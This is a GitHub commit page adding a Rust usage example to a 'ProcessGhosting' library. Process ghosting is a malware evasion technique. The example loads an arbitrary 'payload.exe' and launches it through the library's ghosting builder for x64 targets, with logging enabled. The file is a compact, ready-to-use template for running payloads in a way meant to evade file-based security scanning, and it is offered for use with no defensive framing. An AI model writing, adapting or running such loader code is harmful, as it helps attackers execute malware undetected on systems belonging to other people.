Skip to content

Commit fd5b464

Browse files
committed
Create basic_usage.rs
1 parent d9983c0 commit fd5b464

1 file changed

Lines changed: 35 additions & 0 deletions

File tree

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
//! Basic usage example for ProcessGhosting library
2+
//! Author: BlackTechX
3+
4+
use process_ghosting::{GhostingBuilder, init};
5+
6+
fn main() {
7+
// Initialize library (prints banner)
8+
init();
9+
10+
println!("[*] Basic Usage Example\n");
11+
12+
// Read payload from file
13+
let payload_path = "payload.exe";
14+
15+
match std::fs::read(payload_path) {
16+
Ok(payload) => {
17+
println!("[+] Loaded payload: {} bytes", payload.len());
18+
19+
// Execute ghosting
20+
let result = GhostingBuilder::new(&payload)
21+
.x64() // Target x64 architecture
22+
.with_logging() // Enable verbose output
23+
.execute();
24+
25+
match result {
26+
Ok(_) => println!("\n[+] Process ghosting completed successfully!"),
27+
Err(e) => eprintln!("\n[-] Process ghosting failed: {}", e),
28+
}
29+
}
30+
Err(e) => {
31+
eprintln!("[-] Failed to read payload file '{}': {}", payload_path, e);
32+
eprintln!(" Please provide a valid PE executable.");
33+
}
34+
}
35+
}

0 commit comments

Comments
 (0)